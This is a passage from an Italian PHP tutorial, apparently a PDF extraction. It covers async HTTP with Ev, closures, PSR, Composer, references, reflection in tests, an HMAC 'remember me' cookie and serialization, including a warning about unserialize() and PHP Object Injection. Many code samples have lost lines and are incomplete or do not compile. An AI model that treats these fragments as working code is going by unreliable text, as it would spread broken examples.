* @throws RuntimeException
*/
public function __construct(MyHttpClient $client, $host, $resource, $method) {
$this->http_client = $client;
$this->host = $host;
$this->resource = $resource;
$this->method = $method;
$this->conn_watcher = $this->http_client->getLoop()
->timer(0, 0., [$this, 'connect']);
}
/**
https://riptutorial.com/it/home 392
* Deallocates all resources of the request
*/
private function close() {
if ($this->socket) {
socket_close($this->socket);
$this->socket = null;
}
$this->freeWatcher($this->timeout_watcher);
$this->freeWatcher($this->read_watcher);
$this->freeWatcher($this->write_watcher);
$this->freeWatcher($this->conn_watcher);
}
/**
* Initializes a connection on socket
* @return bool
*/
public function connect() {
$loop = $this->http_client->getLoop();
/**
* Callback for timeout (EvTimer) watcher
*/
public function _onTimeout(EvTimer $w) {
$w->stop();
$this->close();
}
/**
* Callback which is called when the socket becomes wriable
*/
public function _onWritable(EvIo $w) {
$this->timeout_watcher->stop();
$w->stop();
$in = implode("\r\n", [
"{$this->method} {$this->resource} HTTP/1.1",
"Host: {$this->host}",
'Connection: Close',
]) . "\r\n\r\n";
$loop = $this->http_client->getLoop();
$this->read_watcher = $loop->io($this->socket,
Ev::READ, [$this, '_onReadable']);
https://riptutorial.com/it/home 393
/**
* Callback which is called when the socket becomes readable
*/
public function _onReadable(EvIo $w) {
// recv() 20 bytes in non-blocking mode
$ret = socket_recv($this->socket, $out, 20, MSG_DONTWAIT);
if ($ret) {
// Still have data to read. Append the read chunk to the buffer.
$this->buffer .= $out;
} elseif ($ret === 0) {
// All is read
printf("\n<<<<\n%s\n>>>>", rtrim($this->buffer));
fflush(STDOUT);
$w->stop();
$this->close();
return;
}
$w->stop();
$this->close();
}
}
/////////////////////////////////////
class MyHttpClient {
/// @var array Instances of MyHttpRequest
private $requests = [];
/// @var EvLoop
private $loop;
/**
* @return EvLoop
*/
public function getLoop() {
return $this->loop;
}
/**
* Adds a pending request
*/
public function addRequest(MyHttpRequest $r) {
$this->requests []= $r;
}
/**
* Dispatches all pending requests
https://riptutorial.com/it/home 394
*/
public function run() {
$this->loop->run();
}
}
/////////////////////////////////////
// Usage
$client = new MyHttpClient();
foreach (range(1, 10) as $i) {
$client->addRequest(new MyHttpRequest($client, 'my-host.local', '/test.php?a=' . $i,
'GET'));
}
$client->run();
analisi
Supponiamo che http://my-host.local/test.php script http://my-host.local/test.php stia
stampando il dump di $_GET :
<?php
echo 'GET: ', var_export($_GET, true), PHP_EOL;
<<<<
HTTP/1.1 200 OK
Server: nginx/1.10.1
Date: Fri, 02 Dec 2016 12:39:54 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: close
X-Powered-By: PHP/7.0.13-pl0-gentoo
1d
GET: array (
'a' => '3',
)
0
>>>>
<<<<
HTTP/1.1 200 OK
Server: nginx/1.10.1
Date: Fri, 02 Dec 2016 12:39:54 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: close
X-Powered-By: PHP/7.0.13-pl0-gentoo
1d
GET: array (
'a' => '2',
)
https://riptutorial.com/it/home 395
>>>>
...
(tagliati)
Si noti, in PHP 5 l'estensione prese può registrare gli avvisi per EINPROGRESS , EAGAIN , e EWOULDBLOCK
errno valori. È possibile disattivare i registri con
error_reporting(E_ERROR);
https://riptutorial.com/it/home 396
Capitolo 76: Programmazione funzionale
introduzione
La programmazione funzionale di PHP si basa sulle funzioni. Le funzioni in PHP forniscono un
codice organizzato e riutilizzabile per eseguire una serie di azioni. Le funzioni semplificano il
processo di codifica, impediscono la logica ridondante e rendono il codice più facile da seguire.
Questo argomento descrive la dichiarazione e l'utilizzo di funzioni, argomenti, parametri,
dichiarazioni di ritorno e scope in PHP.
Examples
Assegnazione alle variabili
Le funzioni anonime possono essere assegnate a variabili da utilizzare come parametri in cui è
previsto un callback:
$uppercase = function($data) {
return strtoupper($data);
};
Queste variabili possono anche essere utilizzate come chiamate di funzione indipendenti:
Il costrutto use viene utilizzato per importare le variabili nello scope della funzione anonima:
$divisor = 2332;
$myfunction = function($number) use ($divisor) {
return $number / $divisor;
};
$collection = [];
https://riptutorial.com/it/home 397
$additem(1);
$additem(2);
Esistono diverse funzioni PHP che accettano funzioni di callback definite dall'utente come
parametro, ad esempio call_user_func() , usort() e array_map() .
A seconda di dove è stata definita la funzione di callback definita dall'utente, esistono diversi modi
per passarli:
Stile procedurale:
function square($number)
{
return $number * $number;
}
class SquareHolder
{
function square($number)
{
return $number * $number;
}
}
class StaticSquareHolder
{
public static function square($number)
{
return $number * $number;
}
}
https://riptutorial.com/it/home 398
// or:
$final_array = array_map('StaticSquareHolder::square', $initial_array); // for PHP >= 5.2.3
Nelle funzioni che possono essere callable come argomento, è anche possibile inserire una
stringa con la funzione integrata PHP. È comune utilizzare il trim come parametro array_map per
rimuovere gli spazi bianchi array_map e finali da tutte le stringhe dell'array.
// array(3) {
// [0] =>
// string(3) "one"
// [1] =>
// string(3) "two"
// [2] =>
// string(5) "three"
// }
Funzione anonima
// Anonymous function
function() {
return "Hello World!";
};
In PHP, una funzione anonima viene trattata come un'espressione e per questo motivo dovrebbe
essere terminata con un punto e virgola ; .
$users = [
['name' => 'Alice', 'age' => 20],
['name' => 'Bobby', 'age' => 22],
['name' => 'Carol', 'age' => 17]
];
https://riptutorial.com/it/home 399
$userName = array_map(function($user) {
return $user['name'];
}, $users);
Scopo
In PHP, una funzione anonima ha il proprio scopo come qualsiasi altra funzione PHP.
In JavaScript, una funzione anonima può accedere a una variabile nell'ambito esterno. Ma in PHP,
questo non è permesso.
$name = 'John';
chiusure
Una chiusura è una funzione anonima che non può accedere al di fuori dell'ambito.
Quando si definisce una funzione anonima come tale, si crea uno "spazio dei nomi" per quella
https://riptutorial.com/it/home 400
funzione. Attualmente ha solo accesso a tale spazio dei nomi.
$externalVariable = "Hello";
$secondExternalVariable = "Foo";
$myFunction = function() {
Non ha accesso a nessuna variabile esterna. Per concedere questa autorizzazione per questo
spazio dei nomi per accedere a variabili esterne, è necessario introdurlo tramite chiusure ( use() ).
Questo è fortemente attribuito allo scope scope stretto di PHP - Se una variabile non è definita
all'interno dell'ambito, o non è inclusa in global allora non esiste.
Nota anche:
L'ambito genitore di una chiusura è la funzione in cui è stata dichiarata la chiusura (non
necessariamente la funzione da cui è stata chiamata).
Tratto dalla documentazione di PHP per le funzioni anonime
In PHP, le chiusure utilizzano un approccio precoce vincolante . Ciò significa che le variabili
passate allo spazio dei nomi della chiusura use parola chiave use avranno gli stessi valori quando
è stata definita la chiusura.
$rate = .05;
$rate = .1;
print $calculateTax(100); // 5
$rate = .05;
https://riptutorial.com/it/home 401
$calculateTax = function ($value) use (&$rate) { // notice the & before $rate
return $value * $rate;
};
$rate = .1;
print $calculateTax(100); // 10
Gli argomenti predefiniti non sono richiesti implicitamente quando si definiscono funzioni anonime
con / senza chiusure.
Funzioni pure
Una funzione pura è una funzione che, dato lo stesso input, restituirà sempre lo stesso output e
sarà priva di effetti collaterali .
Alcuni effetti collaterali stanno cambiando il filesystem , interagendo con i database , stampando
sullo schermo .
class SomeClass {
public function __invoke($param1, $param2) {
// put your code here
}
}
Un oggetto con un metodo __invoke può essere utilizzato esattamente come qualsiasi altra
funzione.
https://riptutorial.com/it/home 402
Il metodo __invoke avrà accesso a tutte le proprietà dell'oggetto e sarà in grado di chiamare
qualsiasi metodo.
Mappatura
Applicazione di una funzione a tutti gli elementi di un array:
array_map('strtoupper', $array);
Essere consapevoli del fatto che questo è l'unico metodo della lista in cui la callback viene prima.
Ridurre (o piegare)
Ridurre una matrice a un singolo valore:
filtraggio
Restituisce solo gli elementi dell'array per cui il callback restituisce true :
https://riptutorial.com/it/home 403
Capitolo 77: PSR
introduzione
La PSR (PHP Standards Recommendation) è una serie di raccomandazioni formulate dalla FIG
(Framework Interop Group).
"L'idea alla base del gruppo è che i rappresentanti del progetto parlino dei punti in comune tra i
nostri progetti e trovino i modi in cui possiamo lavorare insieme" - FAQ FIG
I PSR possono essere nei seguenti stati: Accettato, Revisiona, Bozza o Obsoleto.
Examples
PSR-4: autoloader
PSR-4 è una raccomandazione accettata che delinea lo standard per le classi di autoloading
tramite nomi di file. Questa raccomandazione è raccomandata come alternativa alla precedente (e
ora deprecata) PSR-0 .
\<NamespaceName>(\<SubNamespaceNames>)*\<ClassName>
• DEVE contenere uno spazio dei nomi del fornitore di livello superiore (ad esempio: Alphabet )
• Può contenere uno o più sotto-nomi (ad esempio: Google\AdWord )
• DEVE contenere un nome di classe finale (es: KeywordPlanner )
A partire da PHP 5.3.0, è possibile definire una funzione di caricamento automatico personalizzata
per caricare i file in base al percorso e al modello di nome file che si definiscono.
Sostituendo la posizione ('classes /') e l'estensione del nome file ('.class.php') con i valori che si
applicano alla tua struttura.
Il gestore di pacchetti compositi supporta PSR-4, il che significa che, se si segue lo standard, è
possibile caricare automaticamente le classi nel progetto utilizzando il caricatore automatico del
fornitore di Composer.
https://riptutorial.com/it/home 404
# Edit the composer.json file to include
{
"autoload": {
"psr-4": {
"Alphabet\\": "[path_to_source]"
}
}
}
$ composer dump-autoload
<?php
PSR-8 è una parodia di PSR ( attualmente in Draft ) proposta da Larry Garfield come una battuta
di April Fools il 1 aprile 2014.
<?php
namespace Psr\Hug;
/**
* Defines a huggable object.
*
* A huggable object expresses mutual affection with another huggable object.
*/
interface Huggable
https://riptutorial.com/it/home 405
{
/**
* Hugs this object.
*
* All hugs are mutual. An object that is hugged MUST in turn hug the other
* object back by calling hug() on the first parameter. All objects MUST
* implement a mechanism to prevent an infinite loop of hugging.
*
* @param Huggable $h
* The object that is hugging this object.
*/
public function hug(Huggable $h);
}
https://riptutorial.com/it/home 406
Capitolo 78: Responsabile della dipendenza
da compositore
introduzione
Composer è il gestore delle dipendenze più comunemente utilizzato da PHP. È analogo a npm in
Node, pip per Python o NuGet per .NET.
Sintassi
• percorso php / to / composer.phar [comando] [opzioni] [argomenti]
Parametri
Parametro Dettagli
autori Definisce gli autori del progetto, così come i dettagli dell'autore.
autoload-
Definisce le politiche di autoloading per lo sviluppo del progetto.
dev
Osservazioni
L'autocaricamento funzionerà solo per le librerie che specificano le informazioni sul caricamento
automatico. La maggior parte delle librerie fa e aderisce a uno standard come PSR-0 o PSR-4 .
Collegamenti utili
• Packagist - Sfoglia i pacchetti disponibili (che puoi installare con Composer).
• Documentazione ufficiale
https://riptutorial.com/it/home 407
• Guida introduttiva ufficiale
Pochi suggerimenti
1. Disabilita xdebug durante l'esecuzione di Composer.
2. Non eseguire Composer come root . I pacchetti non sono affidabili.
Examples
Cos'è il compositore?
Composer è un gestore di dipendenze / pacchetti per PHP. Può essere utilizzato per installare,
tenere traccia di e aggiornare le dipendenze del progetto. Composer si occupa anche
dell'autoloading delle dipendenze su cui si basa la tua applicazione, permettendoti di usare
facilmente la dipendenza all'interno del tuo progetto senza preoccuparti di includerle nella parte
superiore di qualsiasi file.
Le dipendenze per il progetto sono elencate all'interno di un file composer.json che si trova in
genere nella root del progetto. Questo file contiene informazioni sulle versioni richieste dei
pacchetti per la produzione e anche lo sviluppo.
Una descrizione completa dello schema composer.json è disponibile sul sito Web di Composer .
Questo file può essere modificato manualmente utilizzando qualsiasi editor di testo o
automaticamente tramite la riga di comando tramite comandi come composer require <package> o
composer require-dev <package> .
Per iniziare a usare il compositore nel tuo progetto, dovrai creare il file composer.json . Puoi crearlo
manualmente o semplicemente avviare composer init . Dopo aver eseguito composer init nel tuo
terminale, ti verrà chiesto alcune informazioni di base sul tuo progetto: Nome del pacchetto (
fornitore / pacchetto - ad esempio laravel/laravel ), Descrizione - facoltativo , Autore e alcune
altre informazioni come Stabilità minima, Licenza e Richiesto Pacchi.
La chiave require nel tuo file composer.json specifica Composer da quale pacchetto dipende il tuo
progetto. require prende un oggetto che mappa i nomi dei pacchetti (ad es. monolog / monolog )
ai vincoli della versione (es . 1.0. *).
{
"require": {
"composer/composer": "1.2.*"
}
}
Per installare le dipendenze definite, sarà necessario eseguire il comando di composer install e
troverà quindi i pacchetti definiti che corrispondono al vincolo di version fornito e lo scaricano nella
directory del vendor . È una convenzione inserire il codice di terze parti in una directory
denominata vendor .
https://riptutorial.com/it/home 408
Noterai che il comando install anche creato un file composer.lock .
Un file composer.lock viene generato automaticamente da Composer. Questo file viene utilizzato
per tenere traccia delle versioni e dello stato delle dipendenze attualmente installati. L' composer
install esecuzione installerà i pacchetti esattamente nello stato memorizzato nel file di blocco.
Mentre compositore fornisce un sistema per gestire le dipendenze per i progetti PHP (ad esempio
da Packagist ), può anche servire come caricatore automatico, specificando dove cercare spazi
dei nomi specifici o includere file di funzioni generiche.
{
// ...
"autoload": {
"psr-4": {
"MyVendorName\\MyProject": "src/"
},
"files": [
"src/functions.php"
]
},
"autoload-dev": {
"psr-4": {
"MyVendorName\\MyProject\\Tests": "tests/"
}
}
}
Questo codice di configurazione assicura che tutte le classi nello spazio dei nomi
MyVendorName\MyProject siano mappate alla directory src e tutte le classi in
MyVendorName\MyProject\Tests nella directory dei tests (relativa alla directory principale). Inoltre
includerà automaticamente il file functions.php .
Dopo aver inserito questo nel tuo file composer.json , esegui l' composer update in un terminale per
fare in modo che il compositore aggiorni le dipendenze, il file di blocco e generi il file autoload.php .
Quando si esegue la distribuzione in un ambiente di produzione si utilizza l' composer install --no-
dev . Il file autoload.php può essere trovato nella directory del vendor che dovrebbe essere generata
nella directory in cui risiede composer.json .
È necessario require questo file all'inizio di un punto di installazione nel ciclo di vita
dell'applicazione utilizzando una linea simile a quella riportata di seguito.
Una volta incluso, il file autoload.php si occupa di caricare tutte le dipendenze fornite nel file
composer.json .
https://riptutorial.com/it/home 409
• MyVendorName\MyProject\Shapes\Square ➔ src/Shapes/Square.php .
• MyVendorName\MyProject\Tests\Shapes\Square ➔ tests/Shapes/Square.php .
Composer tiene traccia di quali versioni di pacchetti sono state installate in un file chiamato
composer.lock , che è destinato al controllo della versione, in modo che quando il progetto viene
clonato in futuro, l' composer install Composer venga semplicemente scaricata e installata tutte le
dipendenze del progetto .
Il compositore si occupa delle dipendenze PHP in base al progetto. In questo modo è facile avere
diversi progetti su una macchina che dipendono da versioni separate di un pacchetto PHP.
Composer fornisce un caricatore automatico, rendendo estremamente facile iniziare con qualsiasi
pacchetto. Ad esempio, dopo aver installato Goutte con il composer require fabpot/goutte , puoi
immediatamente iniziare a utilizzare Goutte in un nuovo progetto:
<?php
composer update
"require": {
"laravelcollective/html": "2.0.*"
}
Supponendo di aver effettivamente installato la versione 2.0.1 del pacchetto, l'esecuzione composer
update causerà un aggiornamento di questo pacchetto (ad esempio 2.0.2 , se è già stato
rilasciato).
https://riptutorial.com/it/home 410
In dettaglio l' composer update :
• Leggi composer.json
• Rimuovi i pacchetti installati che non sono più necessari in composer.json
• Controlla la disponibilità delle ultime versioni dei nostri pacchetti richiesti
• Installa le ultime versioni dei nostri pacchetti
• Aggiorna composer.lock per memorizzare la versione dei pacchetti installati
composer install
composer install tutte le dipendenze come specificato nel file composer.lock alla versione
specificata (bloccata), senza aggiornare nulla.
In dettaglio:
• composer install viene utilizzata principalmente nella "fase di distribuzione" per installare la
nostra applicazione su un server di produzione o su un ambiente di test, utilizzando le stesse
dipendenze memorizzate nel file composer.lock creato composer update .
Comando uso
navigare Apre l'URL del repository del pacchetto o la homepage nel browser.
https://riptutorial.com/it/home 411
Comando uso
casa Apre l'URL del repository del pacchetto o la homepage nel browser.
aggiornamento
Aggiorna composer.phar all'ultima versione.
automatico
https://riptutorial.com/it/home 412
Comando uso
Installazione
È possibile installare Composer localmente, come parte del progetto, o globalmente come
eseguibile a livello di sistema.
localmente
Per installare, esegui questi comandi nel tuo terminale.
Questo scaricherà composer.phar (un file di archivio PHP) nella directory corrente. Ora puoi
eseguire php composer.phar per usare Composer, ad es
A livello globale
Per utilizzare Composer a livello globale, posiziona il file composer.phar in una directory che fa
parte del PATH
mv composer.phar /usr/local/bin/composer
composer install
https://riptutorial.com/it/home 413
Capitolo 79: ricette
introduzione
Questo argomento è una raccolta di soluzioni per attività comuni in PHP. Gli esempi forniti qui ti
aiuteranno a superare un problema specifico. Dovresti già avere familiarità con le basi di PHP.
Examples
Crea un contatore di visite al sito
<?php
$visit = 1;
if(file_exists("counter.txt"))
{
$fp = fopen("counter.txt", "r");
$visit = fread($fp, 4);
$visit = $visit + 1;
}
https://riptutorial.com/it/home 414
Capitolo 80: Riferimenti
Sintassi
• $foo = 1; $bar = &$foo; // both $foo and $bar point to the same value: 1
• $var = 1; function calc(&$var) { $var *= 15; } calc($var); echo $var;
Osservazioni
Assegnando due variabili per riferimento, entrambe le variabili puntano allo stesso valore. Prendi il
seguente esempio:
$foo = 1;
$bar = &$foo;
$foo non punta a $bar . $foo e $bar puntano entrambi allo stesso valore di $foo , che è 1 . Illustrare:
$baz = &$bar;
unset($bar);
$baz++;
Se avessimo un points to relazione, questo sarebbe stato interrotto subito dopo unset() ; invece
$foo e $baz puntano ancora allo stesso valore, che è 2 .
Examples
Assegna per riferimento
Questa è la prima fase di riferimento. Essenzialmente quando assegni per riferimento , stai
permettendo a due variabili di condividere lo stesso valore.
$foo = &$bar;
$foo e $bar sono uguali qui. Non puntano l'un l'altro. Puntano allo stesso posto ( il "valore" ).
È inoltre possibile assegnare per riferimento all'interno del costrutto del linguaggio array() . Pur
non essendo rigorosamente un incarico per riferimento.
$foo = 'hi';
$bar = array(1, 2);
$array = array(&$foo, &$bar[0]);
Si noti , tuttavia, che i riferimenti all'interno degli array sono potenzialmente pericolosi.
L'assegnazione normale (non di riferimento) con un riferimento sul lato destro non
trasforma il lato sinistro in un riferimento, ma i riferimenti all'interno degli array vengono
https://riptutorial.com/it/home 415
mantenuti in questi normali compiti. Questo vale anche per le chiamate alle funzioni in
cui l'array viene passato per valore.
L'assegnazione per riferimento non è limitata solo a variabili e array, ma è anche presente per le
funzioni e tutte le associazioni "pass-by-reference".
function incrementArray(&$arr) {
foreach ($arr as &$val) {
$val++;
}
}
function &getArray() {
static $arr = [1, 2, 3];
return $arr;
}
incrementArray(getArray());
var_dump(getArray()); // prints an array [2, 3, 4]
L'assegnazione è la chiave all'interno della definizione della funzione come sopra. Non puoi
passare un'espressione per riferimento, solo un valore / variabile. Da qui l'istanziazione di $a in
bar() .
Il ritorno per riferimento è utile quando si desidera utilizzare una funzione per trovare a
quale variabile deve essere associato un riferimento. Non utilizzare il ritorno per
riferimento per aumentare le prestazioni. Il motore lo ottimizzerà automaticamente da
solo. Restituisci i riferimenti solo se hai un valido motivo tecnico per farlo.
Tratto dalla Documentazione di PHP per la restituzione per riferimento .
Esistono molte forme diverse di ritorno per riferimento, incluso il seguente esempio:
function parent(&$var) {
echo $var;
$var = "updated";
}
function &child() {
static $a = "test";
return $a;
}
Il reso per riferimento non è limitato solo ai riferimenti alle funzioni. Hai anche la possibilità di
chiamare implicitamente la funzione:
https://riptutorial.com/it/home 416
function &myFunction() {
static $a = 'foo';
return $a;
}
$bar = &myFunction();
$bar = "updated"
echo myFunction();
Non è possibile fare direttamente riferimento a una chiamata di funzione, deve essere assegnata
a una variabile prima di sfruttarla. Per vedere come funziona, prova semplicemente echo
&myFunction(); .
Gli appunti
• Ti è richiesto di specificare un riferimento ( & ) in entrambi i posti in cui intendi usarlo. Ciò
significa, per la definizione della funzione ( function &myFunction() {... ) e nel riferimento
alla chiamata ( function callFunction(&$variable) {... o &myFunction(); ).
• Puoi solo restituire una variabile per riferimento. Da qui l'istanziazione di $a a nell'esempio
sopra. Ciò significa che non è possibile restituire un'espressione, altrimenti verrà generato
un errore PHP E_NOTICE ( Notice: Only variable references should be returned by reference
in ...... ).
• Il reso per riferimento ha casi d'uso legittimi, ma dovrei avvertire che dovrebbero essere
usati con parsimonia, solo dopo aver esplorato tutte le altre potenziali opzioni per
raggiungere lo stesso obiettivo.
Ciò consente di passare una variabile facendo riferimento a una funzione o elemento che
consente di modificare la variabile originale.
Passare-per-riferimento non è limitato alle sole variabili, il seguente può anche essere passato per
riferimento:
Array
Un uso comune di "passing-by-reference" è di modificare i valori iniziali all'interno di un array
senza andare al punto di creare nuovi array o sporcare il tuo spazio dei nomi. Il passaggio per
riferimento è semplice come il precedente / prefisso della variabile con un & => &$myElement .
https://riptutorial.com/it/home 417
$arr = array(1, 2, 3, 4, 5);
foreach($arr as &$num) {
$num++;
}
Ora, quando sfrutti qualsiasi elemento all'interno di $arr , l'elemento originale verrà aggiornato
man mano che il riferimento è stato aumentato. Puoi verificare questo:
print_r($arr);
Nota
foreach($myArray as &$num) {
$num++;
}
unset($num);
funzioni
Un altro uso comune per il passaggio per riferimento è all'interno delle funzioni. La modifica della
variabile originale è semplice come:
$var = 5;
// define
function add(&$var) {
$var++;
}
// call
add($var);
echo $var;
Esistono varie restrizioni relative alle funzioni, come indicato di seguito dai documenti PHP:
Nota: non vi è alcun segno di riferimento su una chiamata di funzione - solo sulle
https://riptutorial.com/it/home 418
definizioni di funzione. Solo le definizioni di funzione sono sufficienti per passare
correttamente l'argomento per riferimento. A partire da PHP 5.3.0, riceverai un avviso
che dice che "pass-by-reference" è deprecato quando usi & in foo (& $ a) ;. A partire
dalla versione 5.4.0 di PHP, il riferimento al passaggio delle chiamate è stato rimosso,
quindi l'utilizzo di tale funzione genererebbe un errore irreversibile.
https://riptutorial.com/it/home 419
Capitolo 81: Riflessione
Examples
Accesso a variabili membro private e protette
Reflection viene spesso utilizzato come parte del test del software, ad esempio per la creazione /
creazione di runtime di oggetti mock. È anche ottimo per controllare lo stato di un oggetto in
qualsiasi momento. Ecco un esempio dell'utilizzo di Reflection in un unit test per verificare che un
membro di classe protetto contenga il valore previsto.
Di seguito è riportata una classe di base per un'auto. Ha una variabile membro protetta che
conterrà il valore che rappresenta il colore dell'auto. Poiché la variabile membro è protetta, non è
possibile accedervi direttamente e utilizzare un metodo getter e setter per recuperare e impostare
il suo valore rispettivamente.
class Car
{
protected $color
Per testare questo, molti sviluppatori creeranno un oggetto Car, impostano il colore
Car::setColor() usando Car::setColor() , recuperano il colore usando Car::getColor() e
confrontano tale valore con il colore impostato:
/**
* @test
* @covers \Car::setColor
*/
public function testSetColor()
{
$color = 'Red';
$this->assertEquals($color, $reflectionColor);
}
In superficie, questo sembra ok. Dopotutto, tutto ciò che fa Car::getColor() restituisce il valore
https://riptutorial.com/it/home 420
della variabile membro protetta Car::$color . Ma questo test è difettoso in due modi:
Diamo un'occhiata al motivo per cui non dovremmo usare Car::getColor() nel nostro test unitario e
dovremmo usare Reflection. Supponiamo che a uno sviluppatore venga assegnata un'attività che
aggiunge "Metallico" a ogni colore della vettura. Quindi tentano di modificare Car::getColor() per
anteporre "Metallic" al colore dell'auto:
class Car
{
protected $color
Quindi, come possiamo verificare che Car::$color contenga il valore che stiamo impostando
tramite Car::setColor() ? Possiamo usare la Refelection per ispezionare direttamente la variabile
membro protetta. Quindi, come possiamo farlo? Possiamo usare Refelection per rendere la
variabile membro protetta accessibile al nostro codice in modo che possa recuperare il valore.
/**
* @test
* @covers \Car::setColor
*/
public function testSetColor()
{
$color = 'Red';
https://riptutorial.com/it/home 421
$this->assertEquals($color, $reflectionColor);
}
Ecco come utilizziamo Reflection per ottenere il valore di Car::$color nel codice qui sopra:
Come potete vedere usando Reflection, potremmo ottenere il valore di Car::$color senza dover
chiamare Car::getColor() o qualsiasi altra funzione di accesso che potrebbe causare risultati di
test non validi. Ora il nostro test unitario per Car::setColor() è sicuro e preciso.
Il rilevamento delle caratteristiche delle classi può essere effettuato in parte con le funzioni
property_exists e method_exists .
class MyClass {
public $public_field;
protected $protected_field;
private $private_field;
static $static_field;
const CONSTANT = 0;
public function public_function() {}
protected function protected_function() {}
private function private_function() {}
static function static_function() {}
}
// check properties
$check = property_exists('MyClass', 'public_field'); // true
$check = property_exists('MyClass', 'protected_field'); // true
$check = property_exists('MyClass', 'private_field'); // true, as of PHP 5.3.0
$check = property_exists('MyClass', 'static_field'); // true
$check = property_exists('MyClass', 'other_field'); // false
// check methods
$check = method_exists('MyClass', 'public_function'); // true
$check = method_exists('MyClass', 'protected_function'); // true
$check = method_exists('MyClass', 'private_function'); // true
$check = method_exists('MyClass', 'static_function'); // true
// however...
$check = property_exists('MyClass', 'CONSTANT'); // false
$check = property_exists($object, 'CONSTANT'); // false
$r = new ReflectionClass('MyClass');
$check = $r->hasProperty('public_field'); // true
https://riptutorial.com/it/home 422
$check = $r->hasMethod('public_function'); // true
$check = $r->hasConstant('CONSTANT'); // true
// also works for protected, private and/or static members.
Nota: per property_exists e method_exists , è possibile method_exists anche un oggetto della classe
di interesse al posto del nome della classe. Utilizzando reflection, la classe ReflectionObject deve
essere utilizzata al posto di ReflectionClass .
A volte è utile testare metodi privati e protetti così come quelli pubblici.
class Car
{
/**
* @param mixed $argument
*
* @return mixed
*/
protected function drive($argument)
{
return $argument;
}
/**
* @return bool
*/
private static function stop()
{
return true;
}
}
Il metodo più semplice per testare il metodo di guida è l'uso della riflessione
class DriveTest
{
/**
* @test
*/
public function testDrive()
{
// prepare
$argument = 1;
$expected = $argument;
$car = new \Car();
// invoke logic
$result = $method->invokeArgs($car, [$argument]);
// test
$this->assertEquals($expected, $result);
}
https://riptutorial.com/it/home 423
}
class StopTest
{
/**
* @test
*/
public function testStop()
{
// prepare
$expected = true;
// invoke logic
$result = $method->invoke(null);
// test
$this->assertEquals($expected, $result);
}
}
https://riptutorial.com/it/home 424
Capitolo 82: Secure Remeber Me
introduzione
Ho cercato su questo argomento per un po 'fino a quando ho trovato questo post
https://stackoverflow.com/a/17266448/4535386 da ircmaxell, penso che merita più esposizione.
Examples
"Keep Me Logged In" - l'approccio migliore
function onLogin($user) {
$token = GenerateRandomToken(); // generate a token, should be 128 - 256 bit
storeTokenForUser($user, $token);
$cookie = $user . ':' . $token;
$mac = hash_hmac('sha256', $cookie, SECRET_KEY);
$cookie .= ':' . $mac;
setcookie('rememberme', $cookie);
}
function rememberMe() {
$cookie = isset($_COOKIE['rememberme']) ? $_COOKIE['rememberme'] : '';
if ($cookie) {
list ($user, $token, $mac) = explode(':', $cookie);
if (!hash_equals(hash_hmac('sha256', $user . ':' . $token, SECRET_KEY), $mac)) {
return false;
}
$usertoken = fetchTokenByUserName($user);
if (hash_equals($usertoken, $token)) {
logUserIn($user);
}
}
}
https://riptutorial.com/it/home 425
Capitolo 83: serializzazione
Sintassi
• serializza stringa (valore $ misto)
Parametri
Parametro Dettagli
Osservazioni
La serializzazione utilizza le seguenti strutture di stringa:
genere Struttura
Numero
i:[value]
intero
Doppio d:[value]
Nullo N
https://riptutorial.com/it/home 426
genere Struttura
Examples
Serializzazione di diversi tipi
Questo è utile per archiviare o trasmettere valori PHP in giro senza perdere il loro tipo e struttura.
// Output:
// s:11:"Hello world";
Serializzare un doppio
$double = 1.5;
echo serialize($double);
// Output:
// d:1.5;
Serializzare un galleggiante
Float viene serializzato come doppio.
Serializzare un intero
$integer = 65;
echo serialize($integer);
// Output:
// i:65;
Serializzare un booleano
https://riptutorial.com/it/home 427
$boolean = true;
echo serialize($boolean);
// Output:
// b:1;
$boolean = false;
echo serialize($boolean);
// Output:
// b:0;
Serializzazione null
$null = null;
echo serialize($null);
// Output:
// N;
Serializzare un array
$array = array(
25,
'String',
'Array'=> ['Multi Dimension','Array'],
'boolean'=> true,
'Object'=>$obj, // $obj from above Example
null,
3.445
);
echo serialize($array);
// Output:
// a:7:{i:0;i:25;i:1;s:6:"String";s:5:"Array";a:2:{i:0;s:15:"Multi
Dimension";i:1;s:5:"Array";}s:7:"boolean";b:1;s:6:"Object";O:3:"abc":1:{s:1:"i";i:1;}i:2;N;i:3;d:3.4449
Serializzare un oggetto
Puoi anche serializzare gli oggetti.
Quando serializzi gli oggetti, PHP tenterà di chiamare la funzione membro __sleep () prima della
serializzazione. Questo per consentire all'oggetto di eseguire qualsiasi pulizia all'ultimo minuto,
ecc. Prima di essere serializzato. Analogamente, quando l'oggetto viene ripristinato mediante
https://riptutorial.com/it/home 428
unserialize () la funzione membro __wakeup () viene chiamato.
class abc {
var $i = 1;
function foo() {
return 'hello world';
}
}
// Output:
// O:3:"abc":1:{s:1:"i";i:1;}
L'uso della funzione unserialize per non serializzare i dati dall'input dell'utente può essere
pericoloso.
Un avvertimento da php.net
Avviso Non passare l'input dell'utente non attendibile a unserialize (). La non
serializzazione può comportare il caricamento e l'esecuzione del codice a causa
dell'istanza e dell'autoloading dell'oggetto e un utente malintenzionato potrebbe essere
in grado di sfruttarlo. Utilizzare un formato di scambio di dati standard sicuro come
JSON (tramite json_decode () e json_encode ()) se è necessario passare i dati
serializzati all'utente.
Possibili attacchi
• PHP Object Injection
PHP Object Injection è una vulnerabilità a livello di applicazione che potrebbe consentire a un
utente malintenzionato di eseguire diversi tipi di attacchi dannosi, ad esempio Code Injection, SQL
Injection, Path Traversal e Application Denial of Service, a seconda del contesto. La vulnerabilità
